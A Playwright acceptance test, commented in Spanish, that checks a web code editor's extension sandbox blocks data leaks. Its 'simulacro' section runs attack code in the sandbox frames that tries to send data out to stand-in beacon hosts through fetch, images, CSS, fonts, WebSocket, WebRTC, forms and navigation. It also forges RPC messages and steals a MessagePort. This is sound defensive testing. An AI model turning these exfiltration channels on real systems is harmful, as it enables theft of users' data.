| 1 | // Canario del nivel 2 (aceptación de la parte B2): una extensión intenta |
| 2 | // salir por cada canal que tiene, la página la pinta con todo envenenado, y |
| 3 | // nada puede llegar a la baliza. |
| 4 | // |
| 5 | // node tests/x2_canary.mjs |
| 6 | // |
| 7 | // Montaje: Chromium con --host-resolver-rules (los *.test, open-vsx.org y |
| 8 | // openvsx.eclipsecontent.org van a la baliza; el bucle local y |
| 9 | // cdn.jsdelivr.net, normales; cualquier otro nombre no resuelve), un NetLog |
| 10 | // de la sesión, y la baliza (HTTP, HTTPS con certificado propio, WebSocket, |
| 11 | // toda conexión TCP y UDP para STUN). La página de Code lleva un vigía |
| 12 | // (MutationObserver) que apunta cualquier imagen, enlace, estilo o marco que |
| 13 | // apunte fuera. |
| 14 | // |
| 15 | // Fase A, con la extensión canario (tests/lib/x2-canary-ext.mjs): |
| 16 | // W cada canal del worker (red, almacenamiento de Code, portapapeles, |
| 17 | // openExternal, tramas RPC hechas a mano); |
| 18 | // P lo que pinta la página: hover, detalles del autocompletado, firmas, |
| 19 | // el hover de un diagnóstico, avisos, el modal, el selector, el cuadro de |
| 20 | // texto, una acción de código y un autocompletado que abren direcciones, |
| 21 | // Cmd+clic en una dirección del documento, la vista previa HTML de un |
| 22 | // fichero que tocó la extensión y una escritura al portapapeles sin |
| 23 | // gesto. Cada diálogo se cancela. |
| 24 | // Fase B: aceptar UNA dirección produce exactamente una visita, la de la URL |
| 25 | // que enseñó el diálogo. |
| 26 | // Simulacro: código de ataque evaluado directamente en el marco del recinto y |
| 27 | // en el del host de extensiones, como si ya estuvieran comprometidos. |
| 28 | // Controles positivos: sin la CSP del host el canario SÍ llega a la baliza; |
| 29 | // el markdown hostil sin sanitize.js SÍ pinta una imagen y llega; el NetLog |
| 30 | // SÍ ve una resolución de *.test pedida por la página y las del bucle local; |
| 31 | // los canarios de almacenamiento SÍ se ven desde el mismo origen; y hay |
| 32 | // mensajes de violación de CSP. |
| 33 | import fs from 'node:fs'; |
| 34 | import os from 'node:os'; |
| 35 | import path from 'node:path'; |
| 36 | import { chromium } from 'playwright'; |
| 37 | import { startServer } from './lib/x2-server.mjs'; |
| 38 | import { startBeacon } from './lib/beacon.mjs'; |
| 39 | import { seed } from './lib/x2-fixtures.mjs'; |
| 40 | import { CANARY_FULL } from './lib/x2-canary-ext.mjs'; |
| 41 | |
| 42 | let fails = 0, lastStep = 'start'; |
| 43 | const ok = (name, c, extra = '') => { lastStep = name.slice(0, 40); console.log((c ? '✅' : '❌') + ' ' + name + (extra ? ' — ' + extra : '')); if (!c) fails++; }; |
| 44 | const sleep = ms => new Promise(r => setTimeout(r, ms)); |
| 45 | async function until(fn, { timeout = 20000, every = 150 } = {}) { |
| 46 | const end = Date.now() + timeout; |
| 47 | let v; |
| 48 | while (Date.now() < end) { try { v = await fn(); if (v) return v; } catch { /* reintenta */ } await sleep(every); } |
| 49 | return v; |
| 50 | } |
| 51 | |
| 52 | const NETLOG = path.join(os.tmpdir(), `x2-canary-netlog-${process.pid}.json`); |
| 53 | const srv = await startServer(); |
| 54 | const beacon = await startBeacon({ tls: true }); |
| 55 | const browser = await chromium.launch({ args: [`--host-resolver-rules=${beacon.strictRules}`, `--log-net-log=${NETLOG}`] }); |
| 56 | const ctx = await browser.newContext({ permissions: ['clipboard-read', 'clipboard-write'] }); |
| 57 | await ctx.addInitScript(() => { |
| 58 | try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ } |
| 59 | if (location.hostname !== '127.0.0.1') return; |
| 60 | // vigía: nada del DOM de Code puede apuntar fuera de Code, del CDN de Monaco o de datos locales |
| 61 | const OK = new Set([location.host, 'cdn.jsdelivr.net']); |
| 62 | const outside = u => { try { const x = new URL(u, location.href); return /^(https?|wss?):$/.test(x.protocol) && !OK.has(x.host) && !(x.hostname === 'localhost' && /\/x2\/v1\//.test(x.pathname)); } catch { return false; } }; |
| 63 | const w = window.__x2watch = []; |
| 64 | const look = n => { |
| 65 | if (!(n instanceof Element)) return; |
| 66 | for (const e of [n, ...n.querySelectorAll('*')]) { |
| 67 | for (const a of ['src', 'href', 'srcset', 'poster', 'data', 'action']) { const v = e.getAttribute(a); if (v && outside(v.split(/\s+/)[0]) && !(e.tagName === 'IFRAME' && a === 'src' && v === 'https://models.elffuss.com/' && e.getAttribute('aria-hidden') === 'true')) w.push(e.tagName + '[' + a + ']=' + v.slice(0, 120)); } |
| 68 | const st = e.getAttribute('style'); |
| 69 | if (st && /url\(\s*['"]?(https?:)?\/\//i.test(st)) w.push(e.tagName + '[style]=' + st.slice(0, 120)); |
| 70 | if (e.tagName === 'STYLE' && /url\(\s*['"]?(https?:)?\/\//i.test(e.textContent)) w.push('STYLE=' + e.textContent.match(/url\([^)]*\)/i)[0].slice(0, 120)); |
| 71 | if (e.tagName === 'A' && e.getAttribute('href') && e.closest('.monaco-hover, .suggest-details, .parameter-hints-widget, .x2-toast, .x2-modal, .x2-pick')) w.push('A in widget=' + e.getAttribute('href').slice(0, 120)); |
| 72 | } |
| 73 | }; |
| 74 | new MutationObserver(ms => { for (const m of ms) { if (m.type === 'attributes') look(m.target); else { for (const n of m.addedNodes) look(n.nodeType === 3 ? n.parentElement : n); } } }) |
| 75 | .observe(document, { subtree: true, childList: true, attributes: true, attributeFilter: ['src', 'href', 'srcset', 'style', 'poster', 'data', 'action'], characterData: true }); |
| 76 | }); |
| 77 | const page = await ctx.newPage(); |
| 78 | const errors = [], cspMessages = []; |
| 79 | const onConsole = m => { if (/Content Security Policy/.test(m.text())) cspMessages.push(m.text().slice(0, 160)); }; |
| 80 | page.on('console', onConsole); |
| 81 | page.on('worker', wk => { try { wk.on('console', onConsole); } catch { /* — */ } }); |
| 82 | page.on('pageerror', e => { if (e.message !== 'Canceled') errors.push(String(e.message) + ' @ ' + String(e.stack || '').split('\n').slice(0, 3).join(' ').slice(0, 300) + ' (after: ' + lastStep + ')'); }); |
| 83 | // Playwright también ve los intentos que la CSP para antes de salir (y la baliza |
| 84 | // no recibe): esos no cuentan. Cuenta lo que terminó, o falló por otra cosa. |
| 85 | const otherRequests = []; |
| 86 | const CODE_BROKER = 'https://models.elffuss.com/'; |
| 87 | const outsider = r => { |
| 88 | const u = new URL(r.url()); |
| 89 | const fine = (u.origin === srv.codeOrigin) || u.host === 'cdn.jsdelivr.net' || u.protocol === 'data:' || u.protocol === 'blob:' |
| 90 | || (u.origin === srv.sandboxOrigin && ['/x2/v1/sandbox.html', '/x2/v1/exthost-iframe.html'].includes(u.pathname)); |
| 91 | // el iframe oculto del almacén de modelos de Code (js/runtime/model-broker.js): |
| 92 | // lo abre la página de Code, no una extensión, y su dirección exacta no lleva |
| 93 | // datos. Aquí no resuelve (las reglas del resolvedor), así que tampoco sale. |
| 94 | const codeBroker = r.url() === CODE_BROKER && r.resourceType() === 'document' && r.frame()?.parentFrame()?.url().startsWith(srv.codeOrigin); |
| 95 | return !fine && !codeBroker; |
| 96 | }; |
| 97 | const cspBlocked = []; |
| 98 | ctx.on('requestfinished', r => { if (outsider(r)) otherRequests.push('finished ' + r.url().slice(0, 150)); }); |
| 99 | ctx.on('requestfailed', r => { |
| 100 | if (!outsider(r)) return; |
| 101 | const why = r.failure()?.errorText || ''; |
| 102 | if (/BLOCKED_BY_CSP|csp/i.test(why)) cspBlocked.push(r.url()); else otherRequests.push('failed (' + why + ') ' + r.url().slice(0, 150)); |
| 103 | }); |
| 104 | |
| 105 | // ── montaje: canarios de almacenamiento en el origen de Code y el proyecto ── |
| 106 | await page.goto(srv.codeOrigin + '/', { waitUntil: 'domcontentloaded' }); |
| 107 | await page.evaluate(async () => { |
| 108 | await new Promise((res, rej) => { const r = indexedDB.open('elffuss-canary', 1); r.onupgradeneeded = () => r.result.createObjectStore('s'); r.onsuccess = () => { r.result.close(); res(); }; r.onerror = () => rej(r.error); }); |
| 109 | localStorage.setItem('elffuss-canary', 'secret'); |
| 110 | document.cookie = 'elffuss_canary=secret; path=/'; |
| 111 | const o = await navigator.storage.getDirectory(); |
| 112 | const w = async (n, t) => { const f = await o.getFileHandle(n, { create: true }); const s = await f.createWritable(); await s.write(t); await s.close(); }; |
| 113 | await w('canary-opfs.txt', 'secret'); |
| 114 | await w('canary.js', 'function canary() {}\ncanary(\n'); |
| 115 | await w('page.html', '<p>page</p>\n'); |
| 116 | await w('plain.txt', 'see https://cmdclick.beacon.test/x?d=1 now\n'); |
| 117 | }); |
| 118 | const sameOrigin = await page.evaluate(async () => { |
| 119 | const dbs = (await indexedDB.databases()).map(d => d.name); |
| 120 | const o = await navigator.storage.getDirectory(); const names = []; for await (const k of o.keys()) names.push(k); |
| 121 | return { idb: dbs.includes('elffuss-canary'), opfs: names.includes('canary-opfs.txt'), ls: localStorage.getItem('elffuss-canary') === 'secret', cookie: /elffuss_canary=secret/.test(document.cookie) }; |
| 122 | }); |
| 123 | ok('control 4: los canarios de almacenamiento SÍ se ven desde el origen de Code', sameOrigin.idb && sameOrigin.opfs && sameOrigin.ls && sameOrigin.cookie, JSON.stringify(sameOrigin)); |
| 124 | await seed(page, [CANARY_FULL]); |
| 125 | await page.goto(srv.codeOrigin + '/?test-opfs', { waitUntil: 'domcontentloaded' }); |
| 126 | await page.waitForFunction(() => !!window.monaco?.editor?.getEditors?.().length, null, { timeout: 30000 }); |
| 127 | const open = p => page.evaluate(async p => { await (await import('/js/ide.js')).openFile(p); }, p); |
| 128 | const ed = fn => page.evaluate(fn); |
| 129 | const state = () => page.evaluate(async () => (await import('/js/ext2/bridge.js')).state()); |
| 130 | const run = (id, ...args) => page.evaluate(([id, args]) => { window.__x2r = window.__x2r || {}; window.__x2r[id] = import('/js/ext2/bridge.js').then(b => b.runCommand(id, args.length ? args : undefined)); }, [id, args]); |
| 131 | const result = id => page.evaluate(id => window.__x2r[id], id); |
| 132 | const dialogUrl = () => until(() => page.evaluate(() => { const d = document.querySelector('#x2-open [role="dialog"]'); return d ? d.querySelector('.x2-code').textContent : null; })); |
| 133 | await open('canary.js'); |
| 134 | await until(async () => (await state()).extensions.some(e => e.id === 'elffuss-test.canary' && e.state === 'active'), { timeout: 60000 }); |
| 135 | await page.evaluate(() => navigator.clipboard.writeText('clipboard-secret')); |
| 136 | |
| 137 | // ── W: los canales del worker ── |
| 138 | const sandboxPort = new URL(srv.sandboxOrigin).port; |
| 139 | await page.evaluate(([cp, sp]) => { window.__x2run = import('/js/ext2/bridge.js').then(b => b.runCommand('canary.run', [cp, sp])); }, [srv.port, sandboxPort]); |
| 140 | const openW = await dialogUrl(); |
| 141 | ok('W openExternal: diálogo con la dirección entera', openW === 'http://open.beacon.test/x2-canary/open', String(openW)); |
| 142 | await page.keyboard.press('Escape'); |
| 143 | const report = JSON.parse(await page.evaluate(() => window.__x2run) || '[]'); |
| 144 | const leaksW = report.filter(r => r.outcome === 'ALLOWED' && !/^own:/.test(r.detail)); |
| 145 | ok(`W ${report.length} intentos desde el worker: todos bloqueados o locales`, report.length >= 30 && leaksW.length === 0, JSON.stringify(leaksW)); |
| 146 | ok('W no ve IndexedDB, OPFS, localStorage ni cookies de Code', report.filter(r => ['indexedDB', 'opfs', 'localStorage', 'cookie'].includes(r.channel)).every(r => !/SAW/.test(r.detail)), |
| 147 | JSON.stringify(report.filter(r => ['indexedDB', 'opfs', 'localStorage', 'cookie'].includes(r.channel)))); |
| 148 | const tried = ch => report.find(r => r.channel === ch); |
| 149 | ok('W fuentes (FontFace) y Cache Storage existen en el worker y se intentan: bloqueadas por la política, no por faltar', ['fontface', 'caches-add'].every(ch => tried(ch)?.outcome === 'blocked' && !/^no /.test(tried(ch).detail)), |
| 150 | JSON.stringify(['fontface', 'caches-add', 'websocketstream'].map(ch => [ch, tried(ch)?.outcome, tried(ch)?.detail?.slice(0, 120)]))); |
| 151 | ok('W el portapapeles se lee vacío; guardar todo, rechazado', /read 0 chars/.test(report.find(r => r.channel === 'clipboard-api')?.detail || '') && report.find(r => r.channel === 'saveAll')?.outcome === 'blocked'); |
| 152 | |
| 153 | // ── P: lo que pinta la página ── |
| 154 | const widgetText = sel => page.evaluate(sel => { const w = [...document.querySelectorAll(sel)].find(x => x.offsetParent !== null && /canary/i.test(x.textContent)); return w ? { text: w.textContent.slice(0, 300), imgs: w.querySelectorAll('img').length, links: w.querySelectorAll('a[href]').length } : null; }, sel); |
| 155 | await ed(() => { const e = window.monaco.editor.getEditors()[0]; e.setPosition({ lineNumber: 1, column: 1 }); e.focus(); e.trigger('t', 'editor.action.showHover', {}); }); |
| 156 | const hov = await until(() => widgetText('.monaco-hover')); |
| 157 | ok('P hover y diagnóstico: texto, sin <img> ni enlaces', !!hov && hov.imgs === 0 && hov.links === 0 && /!\[i\]\(http:\/\/md-img\.beacon\.test/.test(hov.text), JSON.stringify(hov)); |
| 158 | await page.keyboard.press('Escape'); |
| 159 | await ed(() => { const e = window.monaco.editor.getEditors()[0]; e.setPosition({ lineNumber: 2, column: 8 }); e.focus(); e.trigger('t', 'editor.action.triggerParameterHints', {}); }); |
| 160 | const sig = await until(() => widgetText('.parameter-hints-widget')); |
| 161 | ok('P ayuda de firmas: texto, sin <img> ni enlaces', !!sig && sig.imgs === 0 && sig.links === 0, JSON.stringify(sig)); |
| 162 | await page.keyboard.press('Escape'); |
| 163 | await ed(() => { const e = window.monaco.editor.getEditors()[0]; const m = e.getModel(); m.setValue('function canary() {}\ncanary(\nzzc'); e.setPosition({ lineNumber: 3, column: 4 }); e.focus(); e.trigger('t', 'editor.action.triggerSuggest', {}); }); |
| 164 | await until(() => page.evaluate(() => [...document.querySelectorAll('.suggest-widget .monaco-list-row')].some(r => /zzcanary/.test(r.textContent)))); |
| 165 | await ed(() => window.monaco.editor.getEditors()[0].trigger('t', 'toggleSuggestionDetails', {})); |
| 166 | const sug = await until(() => widgetText('.suggest-details'), { timeout: 8000 }); |
| 167 | ok('P detalles del autocompletado: texto, sin <img> ni enlaces', !!sug && sug.imgs === 0 && sug.links === 0, JSON.stringify(sug)); |
| 168 | await page.keyboard.press('Enter'); // acepta: texto con ${CLIPBOARD} y un comando que abre una dirección |
| 169 | const compUrl = await dialogUrl(); |
| 170 | ok('P el comando de un autocompletado que abre una dirección pregunta con la dirección entera', compUrl === 'http://completioncmd.beacon.test/x2-canary/completioncmd', String(compUrl)); |
| 171 | await page.keyboard.press('Escape'); |
| 172 | const afterAccept = await ed(() => window.monaco.editor.getEditors()[0].getModel().getValue()); |
| 173 | ok('P aceptar el autocompletado no mete el portapapeles en el documento (${CLIPBOARD} fuera)', !/clipboard-secret/.test(afterAccept) && /canary\s+x/.test(afterAccept), JSON.stringify(afterAccept)); |
| 174 | await ed(() => { const e = window.monaco.editor.getEditors()[0]; e.setPosition({ lineNumber: 1, column: 1 }); e.focus(); e.trigger('t', 'editor.action.quickFix', {}); }); |
| 175 | await until(() => page.evaluate(() => [...document.querySelectorAll('.action-widget .monaco-list-row, .action-widget li, .context-view .monaco-list-row')].some(r => /Canary/.test(r.textContent))), { timeout: 8000 }); |
| 176 | const actionText = await page.evaluate(() => { const r = [...document.querySelectorAll('.action-widget .monaco-list-row, .action-widget li, .context-view .monaco-list-row')].find(x => /Canary/.test(x.textContent)); return r ? { text: r.textContent, els: r.querySelectorAll('b, img, a').length } : null; }); |
| 177 | ok('P acción de código: su título como texto', !!actionText && actionText.els === 0 && /<b>fix<\/b>/.test(actionText.text), JSON.stringify(actionText)); |
| 178 | await page.keyboard.press('Enter'); |
| 179 | const actUrl = await dialogUrl(); |
| 180 | ok('P la acción que abre una dirección pregunta con la dirección entera', actUrl === 'http://actioncmd.beacon.test/x2-canary/actioncmd', String(actUrl)); |
| 181 | await page.keyboard.press('Escape'); |
| 182 | // avisos, modal, selector, cuadro de texto, progreso |
| 183 | await run('canary.ui'); |
| 184 | const toast = await until(() => page.evaluate(() => { const t = [...document.querySelectorAll('#x2-toasts .x2-toast')].find(x => /canary toast/.test(x.textContent)); return t ? { text: t.querySelector('.x2-toast-text').textContent.slice(0, 200), els: t.querySelectorAll('.x2-toast-text *, img, a').length, buttons: [...t.querySelectorAll('button')].map(b => b.textContent) } : null; })); |
| 185 | ok('P aviso: el texto y los botones como texto, sin elementos', !!toast && toast.els === 0 && toast.buttons.includes('Open <b>it</b>') && toast.buttons.includes('command:workbench.action.reloadWindow'), JSON.stringify(toast)); |
| 186 | await page.click('#x2-toasts .x2-toast .x2-toast-close'); |
| 187 | const modalBox = await until(() => page.evaluate(() => { const d = document.querySelector('#x2-dialog [role="dialog"]'); return d ? { text: d.textContent.slice(0, 200), els: d.querySelectorAll('img, a, b, style, svg').length } : null; })); |
| 188 | ok('P modal: texto, sin elementos', !!modalBox && modalBox.els === 0 && /canary modal <img/.test(modalBox.text), JSON.stringify(modalBox)); |
| 189 | await page.keyboard.press('Escape'); |
| 190 | const pick = await until(() => page.evaluate(() => { const p = document.getElementById('x2-pick'); return p && !p.classList.contains('x2-inputbox') ? { labels: [...p.querySelectorAll('.x2-pick-label')].map(x => x.textContent), els: p.querySelectorAll('img, a, b, svg').length, ph: p.querySelector('input').placeholder } : null; })); |
| 191 | ok('P selector: etiquetas como texto, sin iconos remotos ni elementos', !!pick && pick.els === 0 && /^canary <img/.test(pick.labels[0]) && pick.ph === 'canary <b>pick</b>', JSON.stringify(pick)); |
| 192 | await page.keyboard.press('Escape'); |
| 193 | const input = await until(() => page.evaluate(() => { const p = document.getElementById('x2-input'); return p ? { prompt: p.querySelector('.x2-input-prompt').textContent.slice(0, 80), els: p.querySelectorAll('img, a, b, svg, style').length } : null; })); |
| 194 | ok('P cuadro de texto: el aviso como texto', !!input && input.els === 0 && /^canary \*\*canary\*\*/.test(input.prompt), JSON.stringify(input)); |
| 195 | await page.keyboard.press('Escape'); |
| 196 | const uiRes = JSON.parse(await result('canary.ui') || '{}'); |
| 197 | ok('P la extensión recibe «nada» de lo cancelado', uiRes.info === undefined && uiRes.modal === undefined && uiRes.pick === undefined && uiRes.input === undefined, JSON.stringify(uiRes)); |
| 198 | // Cmd+clic en una dirección del documento |
| 199 | await open('plain.txt'); |
| 200 | await ed(() => { const e = window.monaco.editor.getEditors()[0]; e.setPosition({ lineNumber: 1, column: 14 }); e.focus(); }); |
| 201 | await sleep(400); |
| 202 | await ed(() => window.monaco.editor.getEditors()[0].getAction('editor.action.openLink').run()); |
| 203 | const linkUrl = await dialogUrl(); |
| 204 | ok('P Cmd+clic en una dirección del documento: diálogo con la dirección entera', linkUrl === 'https://cmdclick.beacon.test/x?d=1', String(linkUrl)); |
| 205 | await page.keyboard.press('Escape'); |
| 206 | // la vista previa HTML de un fichero que tocó la extensión |
| 207 | await open('page.html'); |
| 208 | await page.evaluate(async () => (await import('/js/ext2/bridge.js')).runCommand('canary.edit')); |
| 209 | await until(async () => /preview\.beacon\.test/.test(await ed(() => window.monaco.editor.getEditors()[0].getModel().getValue()))); |
| 210 | await page.click('#tabs-bar .tab.active', { button: 'right' }); |
| 211 | // (el menú sigue el idioma del navegador desde 7d5e790: «Vista previa» o «Preview») |
| 212 | await page.locator('#tab-menu .tm-item').filter({ hasText: /^(Vista previa|Preview)$/ }).click(); |
| 213 | const gate = await until(() => page.evaluate(() => !!document.querySelector('#x2-preview [role="dialog"]'))); |
| 214 | ok('P la vista previa de un HTML que tocó la extensión pregunta antes', !!gate); |
| 215 | await page.keyboard.press('Escape'); |
| 216 | await sleep(400); |
| 217 | ok('P cancelada: sin vista previa', await page.evaluate(() => document.querySelectorAll('#md-preview-pane iframe').length === 0)); |
| 218 | // portapapeles sin gesto (cada page.evaluate cuenta como gesto: se lanza a los 6 s) |
| 219 | await page.evaluate(() => { setTimeout(() => import('/js/ext2/bridge.js').then(b => b.runCommand('canary.clip')), 6000); }); |
| 220 | await sleep(6500); |
| 221 | const dropped = await until(async () => ((await state()).ui?.dropped?.clipboard >= 1 ? 1 : null), { timeout: 8000 }); |
| 222 | const clip = await page.evaluate(() => navigator.clipboard.readText().catch(() => 'ERR')); |
| 223 | ok('P escribir en el portapapeles sin gesto: descartado', !!dropped && clip === 'clipboard-secret', clip); |
| 224 | // tramas RPC hechas a mano |
| 225 | await open('canary.js'); |
| 226 | await run('canary.forge'); |
| 227 | const forgedUrl = await dialogUrl(); |
| 228 | ok('W una trama $openUri hecha a mano solo llega al diálogo (con la dirección entera)', forgedUrl === 'https://forged.beacon.test/rpc?d=secret', String(forgedUrl)); |
| 229 | await page.keyboard.press('Escape'); |
| 230 | const forged = JSON.parse(await result('canary.forge') || '{}'); |
| 231 | const dn = await until(async () => { const d = (await state()).denials; return d.top.some(([k]) => k === 'MainThreadCommands.dispose') ? d : null; }); |
| 232 | ok('W tramas a métodos sin $, a un actor denegado y a uno que no existe: rechazadas y contadas', !!dn && dn.n >= 3 && dn.top.some(([k]) => /WebviewPanels\.\$createWebviewPanel/.test(k)) && dn.top.some(([k]) => /\$anything/.test(k)), |
| 233 | JSON.stringify({ sent: forged.sent, denials: dn })); |
| 234 | |
| 235 | // ── comprobaciones de la fase A ── |
| 236 | await sleep(1500); |
| 237 | const watchA = await page.evaluate(() => window.__x2watch.slice()); |
| 238 | ok('vigía: ni imágenes, ni enlaces en los widgets, ni url() hacia fuera en el DOM de Code', watchA.length === 0, JSON.stringify(watchA.slice(0, 5))); |
| 239 | ok('baliza: 0 visitas, 0 conexiones TCP, 0 paquetes UDP', beacon.leaks().length === 0 && beacon.tcp.length === 0 && beacon.udp.length === 0, JSON.stringify({ hits: beacon.hits.slice(0, 3), tcp: beacon.tcp.length, udp: beacon.udp.length })); |
| 240 | ok('del navegador solo salió lo de Code, el CDN de Monaco y los dos documentos del recinto (el resto lo paró la CSP)', otherRequests.length === 0, otherRequests.slice(0, 5).join(' ') + ` · parados por la CSP: ${cspBlocked.length}`); |
| 241 | const tcpBefore = beacon.tcp.length; |
| 242 | |
| 243 | // ── fase B: aceptar una dirección → exactamente una visita, la enseñada ── |
| 244 | const popupP = ctx.waitForEvent('page', { timeout: 20000 }).catch(() => null); |
| 245 | // (un vscode.Uri con consulta: se abre como VS Code, encodeURI(uri.toString(true)), |
| 246 | // así que «=», «&» y «+» llegan tal cual y no como %3D, %26 y %2B) |
| 247 | const WANT_B = 'http://phaseb.beacon.test/exact?q=word+word&type=code&x=1'; |
| 248 | await run('canary.open', WANT_B); |
| 249 | const urlB = await dialogUrl(); |
| 250 | ok('B el diálogo enseña la dirección que se abrirá, con su consulta legible (= & +)', urlB === WANT_B, String(urlB)); |
| 251 | await page.click('#x2-open button:has-text("Open in new tab")'); |
| 252 | const popup = await popupP; |
| 253 | const hitB = await until(() => (beacon.leaks().length ? beacon.leaks() : null), { timeout: 15000 }); |
| 254 | await sleep(1500); |
| 255 | ok('B exactamente una visita, a esa dirección', !!hitB && beacon.leaks().length === 1 && beacon.leaks()[0].host === 'phaseb.beacon.test' && 'http://phaseb.beacon.test' + beacon.leaks()[0].url === urlB, JSON.stringify(beacon.leaks())); |
| 256 | ok('B la extensión sabe que se abrió', (await result('canary.open')) === 'true'); |
| 257 | await popup?.close(); |
| 258 | |
| 259 | // ── simulacro: el recinto y el host de extensiones ya comprometidos ── |
| 260 | const sbxFrame = page.frames().find(f => f.url().startsWith(srv.sandboxOrigin + '/x2/v1/sandbox.html')); |
| 261 | const hostFrame = page.frames().find(f => f.url().includes('/x2/v1/exthost-iframe.html')); |
| 262 | ok('simulacro: los dos marcos del recinto existen', !!sbxFrame && !!hostFrame); |
| 263 | const attack = async (frame, tag) => frame.evaluate(async tag => { |
| 264 | const out = {}; |
| 265 | const T = n => `http://drill-${tag}-${n}.beacon.test/${n}`; |
| 266 | const step = async (name, fn) => { try { out[name] = String(await fn()).slice(0, 120); } catch (e) { out[name] = 'blocked: ' + String(e && (e.message || e)).slice(0, 100); } }; |
| 267 | await step('fetch', () => fetch(T('fetch'), { mode: 'no-cors' }).then(r => 'ALLOWED ' + r.type)); |
| 268 | await step('image', () => new Promise((res, rej) => { const i = new Image(); i.onload = () => res('ALLOWED'); i.onerror = () => rej(new Error('img error')); i.src = T('img'); setTimeout(() => rej(new Error('img timeout')), 2000); })); |
| 269 | await step('css-import', () => { const s = document.createElement('style'); s.textContent = `@import url(${T('import')});`; (document.head || document.documentElement).appendChild(s); return 'appended'; }); |
| 270 | await step('font-face', () => { const s = document.createElement('style'); s.textContent = `@font-face { font-family: d; src: url(${T('font')}); } body { font-family: d; }`; (document.head || document.documentElement).appendChild(s); const p = document.createElement('p'); p.textContent = 'x'; document.body.appendChild(p); return document.fonts.load('12px d').then(() => 'loaded?'); }); |
| 271 | await step('prefetch', () => { for (const rel of ['prefetch', 'preload', 'dns-prefetch', 'preconnect']) { const l = document.createElement('link'); l.rel = rel; l.href = T(rel); if (rel === 'preload') l.as = 'script'; document.head.appendChild(l); } return 'appended'; }); |
| 272 | await step('iframe', () => { const f = document.createElement('iframe'); f.src = T('iframe'); document.body.appendChild(f); return 'appended'; }); |
| 273 | await step('worker', () => { new Worker(T('worker')); return 'ALLOWED created'; }); |
| 274 | await step('sendBeacon', () => (navigator.sendBeacon(T('beacon'), 'x') ? 'queued (the beacon decides)' : 'refused')); |
| 275 | await step('websocket', () => new Promise((res, rej) => { const w = new WebSocket(T('ws').replace('http', 'ws')); w.onopen = () => res('ALLOWED'); w.onerror = () => rej(new Error('ws error')); setTimeout(() => rej(new Error('ws timeout')), 2000); })); |
| 276 | await step('rtc', () => { if (typeof RTCPeerConnection === 'undefined' || !RTCPeerConnection) throw new Error('no RTCPeerConnection'); const pc = new RTCPeerConnection({ iceServers: [{ urls: 'stun:drill-stun.beacon.test:3478' }] }); pc.createDataChannel('x'); return pc.createOffer().then(o => pc.setLocalDescription(o)).then(() => 'ALLOWED'); }); |
| 277 | await step('notification', () => (typeof Notification === 'undefined' ? 'no Notification' : Notification.requestPermission())); |
| 278 | await step('indexedDB', () => indexedDB.databases().then(d => d.map(x => x.name).join(',') || 'none')); |
| 279 | await step('open', () => { const w = window.open(T('open')); return w ? 'ALLOWED' : 'null'; }); |
| 280 | await step('top', () => { top.location = T('top'); return 'assigned'; }); |
| 281 | await step('form', () => { const f = document.createElement('form'); f.action = T('form'); f.method = 'GET'; document.body.appendChild(f); f.submit(); return 'submitted'; }); |
| 282 | await step('meta-refresh', () => { const m = document.createElement('meta'); m.httpEquiv = 'refresh'; m.content = '0;url=' + T('meta'); document.head.appendChild(m); return 'appended'; }); |
| 283 | await step('anchor', () => { const a = document.createElement('a'); a.href = T('anchor'); document.body.appendChild(a); a.click(); return 'clicked'; }); |
| 284 | await step('location', () => { location.href = T('location'); return 'assigned'; }); |
| 285 | return out; |
| 286 | }, tag); |
| 287 | // (si un marco navegara de verdad, su contexto se destruiría: eso también es un fallo) |
| 288 | const drillS = await attack(sbxFrame, 's').catch(e => ({ crashed: 'ALLOWED? ' + String(e.message).slice(0, 120) })); |
| 289 | const drillH = await attack(hostFrame, 'h').catch(e => ({ crashed: 'ALLOWED? ' + String(e.message).slice(0, 120) })); |
| 290 | await sleep(3000); |
| 291 | const allowed = Object.entries({ ...Object.fromEntries(Object.entries(drillS).map(([k, v]) => ['s.' + k, v])), ...Object.fromEntries(Object.entries(drillH).map(([k, v]) => ['h.' + k, v])) }).filter(([, v]) => /ALLOWED/.test(v)); |
| 292 | ok('simulacro: ningún intento sale (fetch, imagen, CSS, fuentes, prefetch, iframe, worker, beacon, WebSocket, WebRTC…)', allowed.length === 0, JSON.stringify(allowed)); |
| 293 | ok('simulacro: ni una visita nueva a la baliza', beacon.leaks().length === 1 && beacon.udp.length === 0, JSON.stringify(beacon.leaks().slice(1, 4))); |
| 294 | ok('simulacro: las navegaciones se cancelan (los dos marcos siguen en su documento)', sbxFrame.url().includes('/x2/v1/sandbox.html') && hostFrame.url().includes('/x2/v1/exthost-iframe.html') && !!(await page.evaluate(() => !!document.getElementById('x2-sandbox')))); |
| 295 | ok('simulacro: el host de extensiones tampoco tiene WebRTC ni window.open', /no RTCPeerConnection/.test(drillH.rtc) && /blocked/.test(drillH.open), JSON.stringify({ rtc: drillH.rtc, open: drillH.open })); |
| 296 | ok('simulacro: IndexedDB del recinto, sin nada de Code', !/elffuss|canary/.test(drillS.indexedDB + drillH.indexedDB), drillS.indexedDB + ' | ' + drillH.indexedDB); |
| 297 | // mensajes del relevo falsificados: el puerto se roba parcheando MessagePort |
| 298 | await sbxFrame.evaluate(() => { |
| 299 | const orig = MessagePort.prototype.postMessage; |
| 300 | MessagePort.prototype.postMessage = function (...a) { window.__stolen = window.__stolen || this; return orig.apply(this, a); }; |
| 301 | }); |
| 302 | await page.evaluate(async () => (await import('/js/ext2/bridge.js')).stats()); |
| 303 | const forgedSent = await sbxFrame.evaluate(() => { |
| 304 | const p = window.__stolen; |
| 305 | if (!p) return 0; |
| 306 | const bad = [{ t: 'eval', code: 'x' }, { t: 'open.request', req: 1, url: 42 }, { t: 'ui.notify', req: 2, sev: 'html', text: '<img>', actions: [] }, { t: 'deco.set', key: 'a b', uri: 'x', ranges: [] }, { t: 'clipboard.write', text: 'x'.repeat(600000) }]; |
| 307 | let n = 0; |
| 308 | for (let i = 0; i < 25; i++) { p.postMessage(bad[i % bad.length]); n++; } |
| 309 | return n; |
| 310 | }); |
| 311 | const torn = await until(async () => { const s = await state(); return s.state === 'error' && s.error?.code === 'violations' ? s : null; }, { timeout: 30000 }); |
| 312 | const after = torn ? null : await state(); |
| 313 | ok('simulacro: mensajes falsificados del relevo rechazados y contados; demasiados desmontan el recinto', forgedSent === 25 && !!torn && !(await page.evaluate(() => !!document.getElementById('x2-sandbox'))), |
| 314 | JSON.stringify({ forgedSent, error: torn?.error, state: after?.state, violations: after?.violations, lastError: after?.error })); |
| 315 | |
